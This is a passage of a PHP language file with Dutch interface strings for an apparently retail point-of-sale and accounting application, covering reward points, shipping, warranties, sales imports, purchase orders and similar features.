'min_order_total_for_redeem' => 'Minimaal besteltotaal om punten in te wisselen', 'min_redeem_point' => 'Minimaal inwisselpunt', 'max_redeem_point' => 'Maximaal inwisselpunt per bestelling', 'rp_expiry_period' => 'Vervalperiode beloningspunt', 'redeemed_amount' => 'Ingewisseld bedrag', 'max_points_used' => 'Maximum :points kunnen worden gebruikt', 'reward_points' => 'Beloningspunten', 'max_reward_point_available' => 'Maximum :name beschikbaar', 'min_reward_points_used' => 'Minimum :name kan worden gebruikt', 'redeemed' => 'Redeemed', 'available' => 'Beschikbaar', 'earned' => 'Verdiend', 'total_reward_amount' => 'Totale klantbeloning', 'ledger' => 'Grootboek', 'type' => 'Type', 'show_payments' => 'Toon betalingen', 'variation_images' => 'Variatie afbeeldingen', 'file_deleted_successfully' => 'Bestand succesvol verwijderd', 'combo' => 'Combo', 'not_for_selling' => 'Niet om te verkopen', 'tooltip_not_for_selling' => 'Indien aangevinkt, wordt het product niet voor verkoopdoeleinden weergegeven in het verkoopscherm.', 'show_reward_point' => 'Beloningspunt tonen', 'enable_booking' => 'Boekingen inschakelen', 'bulk_edit' => 'Bulkbewerking', 'bulk_edit_products' => 'Bulkproducten bewerken', 'search_product_to_edit' => 'Zoek product om te bewerken', 'related_sub_units' => 'Gerelateerde subeenheden', 'sub_units_tooltip' => 'Op basis van de geselecteerde eenheid worden er subeenheden voor weergegeven. Selecteer de toepasselijke subeenheid. Laat dit leeg als alle subeenheden van toepassing zijn op het product.', 'enable_sub_units' => 'Subeenheden inschakelen', 'added_on' => 'Toegevoegd', 'quantity_mismatch_exception' => 'FOUT: NIET TOEGESTAAN: Mismatch tussen verkochte en beschikbare hoeveelheid. Product: :product', 'roles_and_permissions' => 'Rollen en machtigingen', 'admin_role_location_permission_help' => 'Beheerder heeft toegang tot alle locaties', 'edit_product_price_from_pos_screen' => 'Bewerk productprijs vanuit POS-scherm', 'edit_product_discount_from_pos_screen' => 'Bewerk productkorting vanuit POS-scherm', 'download_template_file' => 'Sjabloonbestand downloaden', 'types_of_service' => 'Soorten service', 'add_type_of_service' => 'Type service toevoegen', 'packing_charge_type' => 'Type verpakkingskosten', 'packing_charge' => 'Verpakkingskosten', 'enable_custom_fields' => 'Aangepaste velden inschakelen', 'edit_type_of_service' => 'Bewerk type dienst', 'types_of_service_help' => 'Type dienst betekent diensten zoals dineren, pakketbezorging, bezorging aan huis, bezorging door derden enz.', 'select_types_of_service' => 'Selecteer soorten service', 'service_custom_field_1' => 'Aangepast veld 1', 'service_custom_field_2' => 'Aangepast veld 2', 'service_custom_field_3' => 'Aangepast veld 3', 'service_custom_field_4' => 'Aangepast veld 4', 'default_selling_price_group' => 'Standaardverkoopprijsgroep', 'location_price_group_help' => 'Deze prijsgroep wordt op deze locatie als de standaardprijsgroep gebruikt.', 'default_accounts' => 'Standaardaccount', 'product_location_help' => 'Locaties waar het product beschikbaar zal zijn.', 'available_in_locations' => 'Beschikbaar op locaties', 'enable' => 'Inschakelen', 'payment_options' => 'Betalingsmogelijkheden', 'pay_reference_no' => 'Betaalkenmerk', 'search_settings' => 'Zoek instellingen', 'custom_labels' => 'Aangepaste labels', 'labels_for_custom_payments' => 'Labels voor aangepaste betalingen', 'packed' => 'Ingepakt', 'shipped' => 'Verzonden', 'delivered' => 'Geleverd', 'shipping_address' => 'Afleveradres', 'shipping_status' => 'Verzendstatus', 'delivered_to' => 'Bezorgd bij', 'edit_shipping' => 'Verzending bewerken', 'shipments' => 'Zendingen', 'access_shipping' => 'Toegang tot verzending', 'uploaded_by' => 'Geupload door', 'account_types' => 'Accounttypen', 'add_account_type' => 'Accounttype toevoegen', 'parent_account_type' => 'Type ouderaccount', 'edit_account_type' => 'Accounttype bewerken', 'account_type' => 'Account type', 'account_sub_type' => 'Account Sub Type', 'enable_updating_product_price_tooltip' => 'Indien ingeschakeld, worden de aankoopprijs en verkoopprijs van het product bijgewerkt nadat een aankoop is toegevoegd of bijgewerkt', 'default_datatable_page_entries' => 'Standaard datatabel pagina-items', 'product_not_found_exception' => 'Product met SKU :sku niet gevonden op rij :row', 'price_group_not_found_exception' => 'Prijsgroep met naam :pg niet gevonden op rij :row', 'price_group_non_numeric_exception' => 'Niet-numerieke prijs gevonden op rij :row', 'total_stock_price' => 'Huidige voorraadwaarde', 'test_email_configuration' => 'Stuur test e-mail', 'email_tested_successfully' => 'E-mailconfiguraties succesvol geverifieerd', 'test_number' => 'Testnummer', 'test_sms_configuration' => 'Test-sms verzenden', 'test_number_is_required' => 'Testnummer is vereist', 'import_contact_type_ins' => 'Beschikbare opties: <strong> <br> 1 = Klant, <br> 2 = Leverancier <br> 3 = Beide </strong>', 'enable_pos_transaction_date' => 'Activeer transactiedatum op POS-scherm', 'amount_for_unit_rp_tooltip' => '<strong> Betekenis hoeveel de klant heeft uitgegeven om één beloningspunt te krijgen. </strong> <br> <br> <strong> Voorbeeld: </strong> als u dit instelt op 10, dan wordt voor elke $ 10 die de klant uitgeeft krijgt één beloningspunt. Als de klant voor $ 1000 koopt, krijgt hij 100 beloningspunten. ', 'max_rp_per_order_tooltip' => 'Maximale beloningspunten die klanten kunnen verdienen op één factuur. Laat deze leeg als u dergelijke beperkingen niet wenst.', 'min_order_total_for_rp_tooltip' => '<strong> Het minimumbedrag dat de klant moet uitgeven om beloningspunten te krijgen. </strong> <br> <br> <strong> Voorbeeld: </strong> als u dit instelt op 100, krijgt de klant alleen beloningspunten als er factuurtotaal is groter of gelijk aan 100. Als factuurtotaal 99 is, krijgen ze geen beloningspunten. <br> <br> U kunt dit instellen op minimum 1. ', 'redeem_amount_per_unit_rp_tooltip' => '<strong> Het geeft het inwisselbedrag per punt aan. </strong> <br> <br> <strong> Bijvoorbeeld: </strong> als 1 punt $ 1 is, voert u de waarde in als 1. Als 2 punten $ 1 is, dan voer de waarde in als 0,50 ', 'min_order_total_for_redeem_tooltip' => 'Minimaal besteltotaal waarvoor klanten punten kunnen verzilveren. Laat dit veld leeg als u deze beperking niet nodig hebt of als u iets gratis moet geven.', 'min_redeem_point_tooltip' => 'Minimale inwisselpunten die kunnen worden gebruikt per factuur. Laat dit veld leeg als u deze beperking niet nodig hebt.', 'max_redeem_point_tooltip' => 'Maximum aantal punten dat in één volgorde kan worden gebruikt. Laat dit veld leeg als u deze beperking niet nodig hebt.', 'rp_expiry_period_tooltip' => '<strong> Vervalperiode voor punten verdiend door klant. </strong> <br> <br> U kunt het instellen in maanden of jaar. Verlopen punten worden na deze periode automatisch van het klantaccount afgetrokken.', 'configure_product_search' => 'Product zoeken configureren', 'search_products_by' => 'Producten zoeken op', 'credit_sales' => 'Kredietverkopen', 'total_payment' => 'Totale betaling', 'deactivate_location' => 'Locatie deactiveren', 'activate_location' => 'Locatie activeren', 'business_location_activated_successfully' => 'Bedrijfslocatie succesvol geactiveerd', 'business_location_deactivated_successfully' => 'Bedrijfslocatie succesvol gedeactiveerd', 'show_credit_sale_button' => 'Knop Kredietverkoop weergeven', 'show_credit_sale_btn_help' => 'Indien ingeschakeld, wordt de kredietverkoopknop getoond in plaats van de kaartknop op het pos-scherm', 'credit_sale' => 'Kredietverkoop', 'tooltip_credit_sale' => 'Afrekenen als kredietverkoop', 'add_as_sub_txonomy' => 'Toevoegen als sub-taxonomie', 'select_parent_taxonomy' => 'Selecteer bovenliggende taxonomie', 'warranty' => 'Garantie', 'warranties' => 'Garanties', 'all_warranties' => 'Alle garanties', 'add_warranty' => 'Voeg garantie toe', 'duration' => 'Looptijd', 'edit_warranty' => 'Garantie bewerken', 'enable_product_warranty' => 'Garantie inschakelen', 'warranty_ends_on' => 'Garantie eindigt op', 'restaurant_module_settings' => 'Restaurantmodule-instellingen', 'warranty_module_settings' => 'Instellingen garantiemodule', 'show_warranty_name' => 'Garantienaam weergeven', 'show_warranty_exp_date' => 'Toon vervaldatum garantie', 'show_warranty_description' => 'Garantiebeschrijving weergeven', 'gender' => 'Geslacht', 'male' => 'Mannetje', 'female' => 'Vrouw', 'others' => 'Anderen', 'recent_transactions' => 'Recente transacties', 'add_row' => 'Voeg een rij toe', 'add_widget_here' => 'Voeg hier een widget toe', 'move_row' => 'Verplaats de rij', 'configure_dashboard' => 'Dashboard configureren :name', 'change_return_label' => 'Retouretiket wijzigen', 'change_return_help' => 'Retourzending is het bedrag dat aan de klant moet worden geretourneerd als er teveel is betaald.', 'profile_photo' => 'Profielfoto', 'upload_image' => 'Afbeelding uploaden', 'expense_tax' => 'Onkostenbelasting', 'expense_tax_tooltip' => 'Totale belasting betaald voor zakelijke kosten voor de geselecteerde periode', 'tax_overall' => 'Algemeen (invoer - uitvoer - uitgaven)', 'overdue' => 'Achterstallig', 'partial-overdue' => 'Gedeeltelijk achterstallig', 'due_date_label' => 'Label met vervaldatum', 'show_due_date' => 'Vervaldatum weergeven', 'contact_custom_field1' => 'Aangepast veld 1', 'contact_custom_field2' => 'Aangepast veld 2', 'contact_custom_field3' => 'Aangepast veld 3', 'contact_custom_field4' => 'Aangepast veld 4', 'added_by' => 'Toegevoegd door', 'authorized_signatory' => 'Gemachtigde ondertekenaar', 'no_location_access_found' => 'Geen locatietoegang gevonden', 'location_custom_field1' => 'Aangepast veld 1', 'location_custom_field2' => 'Aangepast veld 2', 'location_custom_field3' => 'Aangepast veld 3', 'location_custom_field4' => 'Aangepast veld 4', 'user_custom_field1' => 'Aangepast veld 1', 'user_custom_field2' => 'Aangepast veld 2', 'user_custom_field3' => 'Aangepast veld 3', 'user_custom_field4' => 'Aangepast veld 4', 'logo_not_work_in_sms' => 'Bedrijfslogo werkt niet in sms', 'notification_email_tooltip' => 'Komma gescheiden reeks ontvangende e-mails', 'heading' => 'Kop', 'updated_at' => 'Bijgewerkt om', 'documents_and_notes' => 'Documenten en aantekeningen', 'add_note' => 'Notitie toevoegen', 'edit_note' => 'Notitie bewerken', 'is_private' => 'Is privé?', 'private' => 'Privaat', 'documents' => 'Documenten', 'note_will_be_visible_to_u_only' => 'Opmerking en document zijn alleen zichtbaar voor u', 'activities' => 'Activiteiten', 'no_limit' => 'Geen limiet', 'contains_media' => 'Deze notitie bevat media', 'private_note' => 'Dit is een privénotitie', 'amount_rounding_method' => 'Bedrag afrondingsmethode', 'round_to_nearest_whole_number' => 'Afronden op het dichtstbijzijnde gehele getal', 'round_to_nearest_decimal' => 'Rond naar dichtstbijzijnde decimaal (veelvoud van :multiple)', 'amount_rounding_method_help' => 'Voorbeeld: <br> <b> Rond naar dichtstbijzijnde hele getal: </b> 2.23 => 2, 2.50 => 3, 2.73 => 3 <br> <b> Rond naar dichtstbijzijnde decimaal (veelvoud van 0.05): < / b> 2.11 => 2.10, 2.12 => 2.10, 2.13 => 2.15 ', 'round_off' => 'Afronden', 'round_off_label' => 'Label afronden', 'total_sell_round_off' => 'Totaal afronding', 'user_info' => 'Gebruikers informatie', 'enable_weighing_scale' => 'Weegschaal inschakelen', 'weighing_scale_setting' => 'Instelling weegschaalbarcode', 'weighing_scale_setting_help' => 'Configureer de barcode volgens uw weegschaal.', 'weighing_barcode_prefix' => 'Voorvoegsel', 'weighing_product_sku_length' => 'Product sku lengte', 'weighing_qty_integer_part_length' => 'Hoeveelheid integer onderdeel lengte', 'weighing_qty_fractional_part_length' => 'Hoeveelheid fractionele onderdeellengte', 'weighing_scale' => 'Weegschaal', 'weighing_scale_barcode' => 'Weegschaal barcode', 'weighing_scale_barcode_help' => 'Scan de streepjescode van wegingsverkoop en verzend', 'prefix_did_not_match' => 'Voorvoegsel kwam niet overeen', 'sku_not_match' => 'Geen product gevonden met sku :sku', 'total_quantity_label' => 'Totaal aantal labels', 'account_summary' => 'Accountoverzicht', 'ledger_table_heading' => 'Toont alle facturen en betalingen tussen :start_date en :end_date', 'beginning_balance' => 'Beginsaldo', 'total_invoice' => 'Totale factuur', 'balance_due' => 'Saldo verschuldigd', 'send_ledger' => 'Stuur grootboek', 'notifications' => 'Meldingen', 'ledger_attacment_help' => 'Ledger wordt in PDF-formaat bijgevoegd bij deze e-mail', 'upload_module' => 'Uploadmodule', 'upload' => 'Uploaden', 'pls_upload_valid_zip_file' => 'Upload een geldig zip-bestand.', 'import_sales' => 'Verkoop importeren', 'preview_imported_sales' => 'Voorbeeld van geïmporteerde verkopen', 'customer_phone_number' => 'Telefoonnummer klant', 'customer_email' => 'Klanten email', 'item_tax' => 'Artikelbelasting', 'item_discount' => 'Artikelkorting', 'item_description' => 'Product beschrijving', 'order_total' => 'Totale bestelling', 'upload_and_review' => 'Uploaden en beoordelen', 'group_sale_line_by' => 'Group sell line by', 'import_sale_product_not_found' => 'Product met naam :product_name of sku :sku niet gevonden in rij :row', 'import_sale_tax_not_found' => 'Belasting met naam :tax_name niet gevonden in rij :row', 'email_or_phone_required' => 'Telefoonnummer of e-mailadres van klant is vereist', 'product_name_or_sku_is_required' => 'Productnaam of SKU is vereist', 'quantity_is_required' => 'Aantal is verplicht', 'unit_price_is_required' => 'Eenheidsprijs is vereist', 'sales_imported_successfully' => 'Verkoop succesvol geïmporteerd', 'upload_data_in_excel_format' => 'Upload verkoopgegevens in Excel-formaat', 'map_columns_with_respective_sales_fields' => 'Kies respectievelijke verkoopvelden voor elke kolom', 'choose_location_and_group_by' => 'Kies bedrijfslocatie en kolom waarin verkoopregels worden gegroepeerd', 'date_format_instruction' => "Tijdformaat voor verkoopdatum moet 'Y-m-d H:i:s' zijn (2020-07-15 17:45:32)", 'product_name_single_only' => 'Productnaam (alleen enkele of gecombineerde producten)', 'product_sku' => 'Product-SKU', 'product_unit' => 'Producteenheid', 'import_sale_unit_not_found' => 'Eenheid met naam :unit_name niet gevonden in rij :row', 'types_of_servicet_not_found' => 'Soorten service met naam :types_of_service_name niet gevonden in rij :row', 'email_or_phone_cannot_be_empty_in_row' => 'Telefoon of e-mailadres van klant is vereist in rij :row', 'product_cannot_be_empty_in_row' => 'Productnaam of product-SKU is vereist in rij :row', 'quantity_cannot_be_empty_in_row' => 'Producthoeveelheid is vereist in rij :row', 'unit_price_cannot_be_empty_in_row' => 'Eenheidsprijs is vereist in rij :row', 'imports' => 'Invoer', 'invoices' => 'Facturen', 'import_batch' => 'Import batch', 'import_time' => 'Importtijd', 'cannot_select_a_field_twice' => 'Je kunt een veld niet twee keer selecteren', 'revert_import' => 'Importeren terugzetten', 'import_reverted_successfully' => 'Importeren is teruggezet', 'importable_fields' => 'Importeerbare velden', 'sort_order' => 'Sorteervolgorde', 'total_returned' => 'Totaal geretourneerd', 'skip' => 'OVERSPRINGEN', 'group_by_tooltip' => 'Kolom voor het groeperen van verkoopregels op dezelfde factuur', 'allowed_file' => 'Toegestaan bestand', 'detailed_with_purchase' => 'Gedetailleerd (bij aankoop)', 'supplier_name' => 'Naam van leverancier', 'purchase_ref_no' => 'Aankoop ref.', 'save_and_print' => 'Opslaan en afdrukken', 'update_and_print' => 'Update en print', 'all_your_discounts' => 'Al uw kortingen', 'priority' => 'Prioriteit', 'starts_at' => 'Begint om', 'ends_at' => 'Eindigt bij', 'used_for_browser_based_printing' => 'Gebruikt voor afdrukken via browser', 'hsn_or_category_code' => 'HSN of categoriecode', 'discounts' => 'Kortingen', 'allow_overselling' => 'Oververkoop toestaan', 'view_own_purchase' => 'Alleen eigen aankoop bekijken', 'view_own_expense' => 'Bekijk alleen eigen kosten', 'allow_login' => 'Sta Inloggen toe', 'login_not_allowed' => 'Inloggen niet toegestaan', 'labels_for_contact_custom_fields' => 'Labels voor aangepaste velden voor contactpersonen', 'labels_for_product_custom_fields' => 'Labels voor aangepaste productvelden', 'labels_for_purchase_custom_fields' => 'Label voor aankoop custome velden', 'labels_for_sell_custom_fields' => 'Labels om aangepaste velden te verkopen', 'labels_for_location_custom_fields' => 'Labels voor aangepaste velden voor locatie', 'labels_for_types_of_service_custom_fields' => 'Labels voor soorten aangepaste servicevelden', 'labels_for_user_custom_fields' => 'Labels voor door de gebruiker aangepaste velden', 'total_transfer_shipping_charge' => 'Totale verzendkosten voor overdracht', 'total_purchase_shipping_charge' => 'Totale verzendkosten voor aankoop', 'total_sell_shipping_charge' => 'Totaal verzendkosten voor verkopen', 'opening_stock_location' => 'Opening voorraadlocatie', 'product_locations_ins' => "Een door komma's gescheiden reeks bedrijfslocatienamen waar het product beschikbaar zal zijn", 'product_locations' => 'Productlocaties', 'view_products' => 'Bekijk de producten', 'pos_screen_featured_products' => 'POS-scherm Aanbevolen producten', 'featured_products_help' => 'Geselecteerde producten worden weergegeven boven de productsuggestie van het pos-scherm voor snelle toegang', 'purchase_report' => 'Aankooprapport', 'sale_report' => 'Verkooprapport', 'payment_date' => 'Betaaldatum', 'year_month' => 'Jaar maand', 'lead' => 'Lood', 'featured_products' => 'Aanbevolen producten', 'repeat_on' => 'Herhaal op', 'access_tables' => 'Toegangstabellen', 'access_printers' => 'Toegang tot printers', 'access_types_of_service' => 'Toegang tot soorten diensten', 'search_address' => 'Zoek adres', 'contact_locations' => 'Contactlocaties', 'map' => 'Kaart', 'both_customer_and_supplier' => 'Zowel klant als leverancier', 'service' => 'Onderhoud', 'either_cust_email_or_phone_required' => 'Ofwel e-mailadres van klant of telefoonnummer vereist', 'either_product_name_or_sku_required' => 'Ofwel productnaam (alleen voor single en combo) of productsku vereist', 'show_invoice_scheme' => 'Toon factuurschema', 'select_invoice_scheme' => 'Selecteer factuurschema', 'recurring_expense_help' => 'Indien aangevinkt, worden deze kosten automatisch met regelmatige tussenpozen gegenereerd.', 'recur_interval' => 'Terugkerend interval', 'recur_expense_repetition_help' => 'Als er oneindig veel onkosten worden gegenereerd', 'recurring_expense_message' => 'Nieuwe terugkerende uitgave gegenereerd. Ref. Nr .: <i>:ref_no </i>', 'recurring_expense' => 'Terugkerende kosten', 'generated_recurring_expense' => 'Gegenereerde terugkerende kosten', 'select_contacts' => 'Selecteer contacten', 'middle_name' => 'Midden-naam', 'address_line_1' => 'Adres regel 1', 'address_line_2' => 'Adres lijn 2', 'dob' => 'Geboortedatum', 'dob_ins' => 'Formaat Y-m-d', 'by_purchase_price' => 'Op aankoopprijs', 'by_sale_price' => 'Op verkoopprijs', 'potential_profit' => 'Potentiële winst', 'apply_all' => 'Alles toepassen', 'hide_all_prices' => 'Verberg alle prijzen', 'select_invoice_layout' => 'Selecteer factuurlay-out', 'max_sales_discount_percent' => 'Max verkoopkortingspercentage', 'max_sales_discount_percent_help' => 'Maximaal kortingspercentage dat een gebruiker tijdens de verkoop kan geven. Laat het leeg zonder beperkingen', 'max_discount_error_msg' => 'U kunt max: discount% korting per verkoop geven', 'show_invoice_layout' => 'Toon dropdownmenu voor factuurlay-out', 'recurred_from' => 'Teruggekeerd van', 'recur_details' => 'Terugkerende details', 'recurring' => 'Terugkerend', 'view_product_stock_value' => 'Bekijk product voorraadwaarde', 'added' => 'Toegevoegd', 'disable_credit_sale_button' => 'Kredietverkoopknop uitschakelen', 'pay' => 'Betalen', 'use_advance_balance' => 'Voorschot saldo gebruiken', 'advance' => 'Voorschot', 'advance_balance' => 'Voorschot saldo', 'advance_payment' => 'Vooruitbetaling', 'required_advance_balance_not_available' => 'Vereist voorschot saldo niet beschikbaar', 'in_transit' => 'Onderweg', 'edit_stock_transfer' => 'Bewerken Aandelenoverdracht', 'completed_status_help' => 'Aandelenoverdracht kan niet worden bewerkt als de status is voltooid', 'no_data' => 'Geen gegevens', 'sms_service' => 'Sms-service', 'nexmo_key' => 'Nexmo-sleutel', 'nexmo_secret' => 'Nexmo-geheim', 'twilio_token' => 'Twilio-toegangstoken', 'twilio_sid' => 'Twilio-account-SID', 'upcoming' => 'Aankomende', 'final' => 'Laatste', 'expense_for_contact' => 'Onkosten voor contact', 'create' => 'Maken', 'waiting' => 'Aan het wachten', 'sms_settings_header_key' => 'Header: cijfertoets', 'sms_settings_header_val' => 'Header: getalwaarde', 'stock_adjustment_details' => 'Details voorraadaanpassing', 'stock_transfer_details' => 'Details van aandelenoverdracht', 'invoice_layout_for_pos' => 'Factuurlay-out voor POS', 'invoice_layout_for_sale' => 'Factuurlay-out te koop', 'invoice_layout_for_sale_tooltip' => 'Factuurlay-out voor directe verkoop', 'new_quotation' => 'Nieuwe offerte', 'new_quotation_notification' => 'Melding nieuwe offerte', 'view_quote_url' => 'Bekijk quote url', 'close_cash_register' => 'Kassa sluiten', 'view_cash_register' => 'Bekijk kassa', 'for_tax_group_only' => 'Alleen voor belastinggroep', 'for_tax_group_only_help' => "Indien aangevinkt, wordt deze belasting niet afzonderlijk weergegeven in dropdown-menu's, maar kan deze alleen worden toegevoegd in de belastinggroep", 'exempt' => 'Vrijgesteld', 'tax_exempt_help' => 'Een belastingtarief van nul procent wordt beschouwd als vrijgesteld van belasting', 'show_total_in_words' => 'Toon totaal in woorden', 'show_in_word_help' => 'php-intl extensie moet worden ingeschakeld', 'print_on_suspend' => 'Factuur afdrukken bij opschorting', 'view_all_customer' => 'Bekijk alle klanten', 'view_own_customer' => 'Bekijk eigen klant', 'view_all_supplier' => 'Bekijk alle leverancier', 'view_own_supplier' => 'Bekijk eigen leverancier', 'label_help' => 'Barcode / label afdrukken', 'connection_type_windows' => 'Verbindingstype Windows', 'connection_type_linux' => 'Verbindingstype Linux', 'windows_type_help' => 'De apparaatbestanden zijn in de trant van', 'linux_type_help' => 'Uw printerapparaatbestand zal ergens zijn zoals', 'due_date' => 'Opleveringsdatum', 'quotation_no' => 'Offerte nummer', 'browser_based_printing' => 'Browser-gebaseerd afdrukken', 'configured_printer' => 'Gebruik geconfigureerde bonprinter', 'for_normal_printer' => 'Voor normale printer', 'recomended_for_80mm' => 'Aanbevolen voor thermische lijnbonprinter, papierformaat 80 mm', 'recomended_for_58mm' => 'Aanbevolen voor thermische lijnbonprinter, papierformaat 80 mm en 58 mm', 'classic' => 'Klassiek', 'elegant' => 'Elegant', 'slim' => 'Slank', 'detailed' => 'Gedetailleerd', 'columnize_taxes' => 'Columnize Taxes', 'types_of_service_help_long' => 'Type service betekent services zoals dineren, pakketbezorging, bezorging aan huis, bezorging door derden enz. Het kan worden in- / uitgeschakeld via <code> Instellingen> Modules </code> en kan worden gemaakt via <code> Instellingen> Servicetypen </code>. U kunt ook verschillende prijsgroep- en verpakkingskosten definiëren voor servicetypen.', 'access_sell_return' => 'Toegang tot verkooprendement', 'system_notification' => 'Systeemmelding', 'time_range' => 'Tijdsbestek', 'enable_php_intl_extension' => 'Schakel php-intl extensie in PHP INI instellingen in', 'profit_note' => '<b> Opmerking:</b> winst per producten / categorieën / merken houdt alleen rekening met inline korting. Factuurkorting wordt niet in aanmerking genomen.', 'upcoming_bookings' => 'Aankomende boekingen', 'is_refund' => 'Is teruggave', 'is_refund_help' => 'Indien aangevinkte uitgaven worden terugbetaald en toegevoegd aan de nettowinst', 'refund' => 'Terugbetaling', 'activate' => 'Activeren', 'deactivate' => 'Deactiveren', 'add_quotation' => 'Offerte toevoegen', 'product_stock_history' => 'Productvoorraadgeschiedenis', 'quantities_in' => 'Hoeveelheden in', 'quantities_out' => 'Quantities Out', 'in' => 'In', 'out' => 'Uit', 'totals' => 'Totalen', 'quantity_change' => 'Hoeveelheid wijzigen', 'new_quantity' => 'Nieuwe hoeveelheid', 'no_stock_history_found' => 'Geen voorraadgeschiedenis gevonden', 'add_draft' => 'Concept toevoegen', 'labels_for_sale_shipping_custom_fields' => 'Labels voor verkoop die aangepaste velden verzenden', 'is_required' => 'Is benodigd', 'convert_to_invoice' => 'Converteren naar factuur', 'converted_to_invoice_successfully' => 'Geconverteerd naar factuur :invoice_no succesvol', 'proforma' => 'Proforma', 'proforma_invoice' => 'Proforma factuur', 'convert_to_proforma' => 'Converteren naar proforma-factuur', 'converted_to_proforma_successfully' => 'Geconverteerd naar proforma-factuur', 'billing_address' => 'Facturatie adres', 'delete_sell' => 'Verkoop verwijderen', 'product_brochure' => 'Productbrochure', 'whatsapp_text' => 'Whatsapp-tekst', 'auto_send_wa_notif' => 'Whatsapp-melding automatisch verzenden', 'send_whatsapp' => 'Stuur Whatsapp-melding', 'send_sms' => 'Verstuur sms', 'send_email' => 'E-mail verzenden', 'shipping_documents' => 'Verzenddocumenten', 'no_attachment_found' => 'Geen bijlage gevonden', 'attachments' => 'Bijlagen', 'print_invoice' => 'Factuur afdrukken', 'word_format' => 'Woordformaat', 'international' => 'Internationale', 'indian' => 'Indisch', 'word_format_help' => 'In internationaal formaat zijn grote getallen vertegenwoordigd in miljoen, miljard en biljoen, terwijl het in Indisch formaat wordt weergegeven in lakhs en crores', 'shipping_edited' => 'Verzending bewerkt', 'payment_edited' => 'Betaling bewerkt', 'notification_sent' => 'Melding verzonden', 'imported' => 'Geïmporteerd', 'logout' => 'Uitloggen', 'backup_clean_command_instruction' => 'Om een oude back-up op te schonen, moet u een cron-taak instellen met deze opdracht:', 'converted' => 'Geconverteerd', 'view_commission_agent_sell' => 'Commissaris kan hun eigen verkoop bekijken', 'access_commission_agent_shipping' => 'Commissieagent heeft toegang tot zijn eigen zendingen', 'access_own_shipping' => 'Toegang tot eigen zendingen', 'email_notification_sent' => 'E-mailmelding verzonden', 'sms_notification_sent' => 'Sms-melding verzonden', 'packing_date' => 'Verpakkingsdatum', 'print_exp_date' => 'Vervaldatum afdrukken', 'print_packing_date' => 'Verpakkingsdatum afdrukken', 'print_lot_number' => 'Partijnummer afdrukken', 'family_contact_number' => 'Familie contactnummer', 'custom_payment' => 'Aangepaste betaling :number', 'default_credit_limit' => 'Standaard kredietlimiet', 'price_calculation_type' => 'Type prijsberekening', 'show_pricing_on_product_sugesstion' => 'Prijzen weergeven in knopinfo voor productsuggesties', 'all_purchase_orders' => 'Alle inkooporders', 'add_purchase_order' => 'Inkooporder toevoegen', 'edit_purchase_order' => 'Inkooporder bewerken', 'purchase_order_details' => 'Inkoopordergegevens', 'enable_purchase_order' => 'Inkooporder inschakelen', 'purchase_order_help_text' => 'Een inkooporder is een handelsdocument en een eerste officiële aanbieding die door een koper aan een verkoper wordt gedaan, met vermelding van soorten, hoeveelheden en overeengekomen prijzen voor producten of diensten. Het wordt gebruikt om de aankoop van producten en diensten van externe leveranciers te controleren. een essentieel onderdeel zijn van bestellingen van enterprise resource planning-systemen. ', 'view_all_purchase_order' => 'Bekijk alle inkooporders', 'view_own_purchase_order' => 'Bekijk eigen inkooporder', 'create_purchase_order' => 'Inkooporder maken', 'delete_purchase_order' => 'Inkooporder verwijderen', 'purchase_order_delete_success' => 'Aankooporder succesvol verwijderd', 'order_quantity' => 'Bestelhoeveelheid', 'order_date' => 'Besteldatum', 'max_quantity_quantity_allowed' => 'Max :quantity toegestaan', 'leave_empty_to_autogenerate' => 'Laat leeg om automatisch te genereren', 'add_edit_invoice_number' => 'Voeg bewerk factuurnummer toe', 'keep_blank_to_autogenerate' => 'Blanco houden om automatisch te genereren', 'download_pdf' => 'Download PDF', 'attach_pdf_in_email' => 'Voeg factuur pdf toe aan e-mail', 'send_sms_whatsapp_notification' => 'Stuur sms / whatsapp-melding', 'enable_sales_order' => 'Verkooporder inschakelen', 'sales_order' => 'Verkooporder', 'sales_order_help_text' => 'De verkooporder, soms afgekort als SO, is een order die door een bedrijf of een eenmanszaak aan een klant wordt verstrekt. Een verkooporder kan betrekking hebben op producten en / of diensten.', 'add_sales_order' => 'Verkooporder toevoegen', 'edit_sales_order' => 'Verkooporder bewerken', 'shipping_note' => 'Verzendingsbrief', 'code_1_name' => 'Code 1 naam', 'code_2_name' => 'Code 2 naam', 'code_1' => 'Code 1', 'code_2' => 'Code 2', 'download_paking_pdf' => 'Download verpakking pdf', 'subject_type' => 'Onderwerptype', 'activity_log' => 'Activiteiten logboek', 'sell_deleted' => 'Verkoop verwijderd', 'so_deleted' => 'Verkooporder verwijderd', 'po_deleted' => 'Inkooporder verwijderd', 'purchase_deleted' => 'Aankoop verwijderd', 'contact_deleted' => 'Contact verwijderd', 'payment_deleted' => 'Betaling verwijderd', 'quantity_remaining' => 'Resterende hoeveelheid', 'view_sale' => 'Bekijk verkoop', 'update_sale' => 'Update verkopen', 'add_sell' => 'Verkoop toevoegen', 'account_details' => 'Accountgegevens', 'label' => 'Etiket', 'prefer_payment_method' => 'Betaalmethode prefereren', 'prefer_payment_account' => 'Betaalrekening prefereren', 'this_will_be_shown_in_pdf' => 'Voorkeursmethode / account waar de klant de factuur kan betalen. (Handig voor creditfacturen)', 'view_own_so' => 'Bekijk eigen verkooporder', 'view_all_so' => 'Bekijk alle verkooporders', 'create_so' => 'Verkooporder maken', 'edit_so' => 'Verkooporder bewerken', 'delete_so' => 'Verkooporder verwijderen', 'types_of_service_custom_field_help' => 'Er zijn zes aangepaste velden beschikbaar wanneer u verkopen toevoegt', 'delete_expense' => 'Uitgave verwijderen', 'access_all_expense' => 'Toegang tot alle uitgaven', 'designation' => 'Aanwijzing', 'department' => 'Afdeling', 'is_default_for_contact' => 'Is standaard voor contact', 'individual' => 'Individueel', 'is_export' => 'Is export?', 'export' => 'Exporteren', 'export_custom_field1' => 'Export aangepast veld 1', 'export_custom_field2' => 'Export aangepast veld 2', 'export_custom_field3' => 'Export custom field 3', 'export_custom_field4' => 'Export custom field 4', 'export_custom_field5' => 'Export custom field 5', 'export_custom_field6' => 'Export custom field 6', 'enable_export' => 'Export inschakelen', 'edit_status' => 'Status bewerken', 'status_updated' => 'Status bijgewerkt', 'item_discount_label' => 'Artikelkortingslabel', 'sales_orders' => 'Verkooporders', 'cash_denominations' => 'Cash coupures', 'cash_denominations_help' => "Door komma's gescheiden waarden Voorbeeld: 100,200,500,2000", 'denomination' => 'Denominatie', 'count' => 'Tellen', 'denomination_add_help_text' => 'Voeg coupures toe in Instellingen -> Bedrijfsinstellingen -> POS -> Contante coupures', 'order_dates' => 'Besteldata', 'by_category' => 'Per categorie', 'by_brand' => 'Op merk', 'no_brand' => 'Geen merk', 